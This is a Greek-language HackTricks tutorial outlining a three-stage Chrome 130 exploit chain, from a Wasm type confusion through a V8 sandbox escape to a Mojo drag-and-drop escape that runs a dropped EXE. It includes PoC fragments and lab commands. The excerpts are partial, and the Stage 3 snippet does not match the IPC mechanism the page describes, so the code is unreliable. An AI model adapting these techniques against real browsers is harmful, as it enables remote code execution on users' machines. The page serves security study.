Chrome Exploiting

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

Αυτή η σελίδα παρέχει μια υψηλού επιπέδου αλλά πρακτική επισκόπηση ενός σύγχρονου “full-chain” exploitation workflow εναντίον του Google Chrome 130 βασισμένη στη σειρά ερευνών “101 Chrome Exploitation” (Part-0 — Preface). Ο στόχος είναι να δώσει σε pentesters και exploit-developers το ελάχιστο υπόβαθρο απαραίτητο για να αναπαράγουν ή να προσαρμόσουν τις τεχνικές για τη δική τους έρευνα.

1. Επανεξέταση της Αρχιτεκτονικής του Chrome

Η κατανόηση της attack surface απαιτεί να γνωρίζετε πού εκτελείται ο code και ποιες sandboxes εφαρμόζονται.

Layered defence-in-depth:

• V8 sandbox (Isolate): οι δικαιώματα μνήμης περιορίζονται για να αποτραπεί arbitrary read/write από JITed JS / Wasm.
• Renderer ↔ Browser split διασφαλίζεται μέσω Mojo/IPC message passing· ο renderer δεν έχει native πρόσβαση σε FS/network.
• OS sandboxes περιορίζουν περαιτέρω κάθε διεργασία (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Ένας remote επιτιθέμενος επομένως χρειάζεται τρία διαδοχικά primitives:

1. Διαφθορά μνήμης μέσα στο V8 για απόκτηση arbitrary RW inside the V8 heap.
2. Ένα δεύτερο bug που επιτρέπει στον επιτιθέμενο να escape the V8 sandbox to full renderer memory.
3. Ένα τελικό sandbox-escape (συχνά λογικής φύσης παρά διαφθοράς μνήμης) για εκτέλεση κώδικα outside of the Chrome OS sandbox.

2. Στάδιο 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Ένα σφάλμα στην βελτιστοποίηση Turboshaft του TurboFan κατηγοριοποιεί λανθασμένα τις WasmGC reference types όταν η τιμή παράγεται και καταναλώνεται μέσα σε έναν single basic block loop.

Αποτέλεσμα:

• Ο compiler παραλείπει το type-check, αντιμετωπίζοντας ένα reference (externref/anyref) ως int64.
• Ειδικά κατασκευασμένο Wasm επιτρέπει την επικάλυψη της κεφαλίδας αντικειμένου JS με δεδομένα υπό έλεγχο του επιτιθέμενου → addrOf() & fakeObj() AAW / AAR primitives.

Minimal PoC (excerpt):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Προκαλέστε βελτιστοποίηση & spray objects από JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Αποτέλεσμα: arbitrary read/write within V8.

3. Στάδιο 2 – Απόδραση από το V8 Sandbox (issue 379140430)

Όταν μια Wasm function είναι tier-up-compiled, παράγεται ένας JS ↔ Wasm wrapper. Ένα signature-mismatch bug προκαλεί το wrapper να γράψει πέρα από το τέλος ενός αξιόπιστου Tuple2 αντικειμένου όταν η Wasm function επαν-βελτιστοποιείται ενώ εξακολουθεί να είναι στο stack.

Η υπεγραφή των 2 × 64-bit πεδίων του Tuple2 αντικειμένου παρέχει read/write on any address inside the Renderer process, παρακάμπτοντας στην πράξη το V8 sandbox.

Key steps in exploit:

1. Τοποθετήστε τη function στην κατάσταση Tier-Up εναλλάσσοντας turbofan/baseline code.
2. Προκαλέστε tier-up ενώ κρατάτε μια αναφορά στο stack (Function.prototype.apply).
3. Χρησιμοποιήστε Stage-1 AAR/AAW για να βρείτε & να χαλάσετε το γειτονικό Tuple2.

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Μετά την αλλοίωση έχουμε στη διάθεσή μας μια πλήρως εξοπλισμένη renderer R/W primitive.

4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

Η διεπαφή IPC Mojo blink.mojom.DragService.startDragging() μπορεί να κληθεί από τον Renderer με μερικώς αξιόπιστες παραμέτρους. Δημιουργώντας μια δομή DragData που δείχνει σε ένα αυθαίρετο μονοπάτι αρχείου ο renderer πείθει το browser να εκτελέσει ένα native drag-and-drop outside the renderer sandbox.

Κακοποιώντας αυτό μπορούμε προγραμματιστικά να «σύρουμε» ένα κακόβουλο EXE (που έχει προηγουμένως τοποθετηθεί σε έναν κατάλογο εγγράψιμο από όλους) στο Desktop, όπου Windows εκτελούν αυτόματα ορισμένους τύπους αρχείων μόλις μεταφερθούν.

Παράδειγμα (απλοποιημένο):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Δεν απαιτείται πρόσθετη διαφθορά μνήμης – το λογικό σφάλμα μας δίνει αυθαίρετη εκτέλεση αρχείων με τα προνόμια του χρήστη.

5. Πλήρης ροή αλυσίδας

1. Ο χρήστης επισκέπτεται κακόβουλη ιστοσελίδα.
2. Stage 1: Wasm module εκμεταλλεύεται το CVE-2025-0291 → V8 heap AAR/AAW.
3. Stage 2: Ασυμφωνία στο wrapper διαφθείρει το Tuple2 → διαφυγή από το V8 sandbox.
4. Stage 3: startDragging() IPC → διαφυγή από το OS sandbox και εκτέλεση του payload.

Αποτέλεσμα: Remote Code Execution (RCE) στον host (Chrome 130, Windows/Linux/macOS).

6. Ρύθμιση εργαστηρίου & αποσφαλμάτωσης

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Χρήσιμες σημαίες κατά την εκκίνηση μιας development build του Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Renderer → kernel escape resource

Όταν ένα renderer exploit χρειάζεται ένα kernel pivot που παραμένει εντός του seccomp profile, η κατάχρηση AF_UNIX MSG_OOB sockets που εξακολουθούν να είναι προσβάσιμες μέσα στο sandbox παρέχει μια ντετερμινιστική διαδρομή. Δείτε το Linux kernel exploitation case-study παρακάτω για την αλυσίδα SKB UAF → kernel RCE:

Af Unix Msg Oob Uaf Skb Primitives

Συμπεράσματα

• WebAssembly JIT bugs παραμένουν αξιόπιστο σημείο εισόδου – το type system είναι ακόμη νέο.
• Η απόκτηση ενός δεύτερου memory-corruption bug μέσα στο V8 (π.χ. wrapper mismatch) απλοποιεί σημαντικά την V8-sandbox escape.
• Λογικού επιπέδου αδυναμίες σε privileged Mojo IPC interfaces συχνά αρκούν για μια final sandbox escape – δώστε προσοχή σε non-memory bugs.

Αναφορές

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium security architecture

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.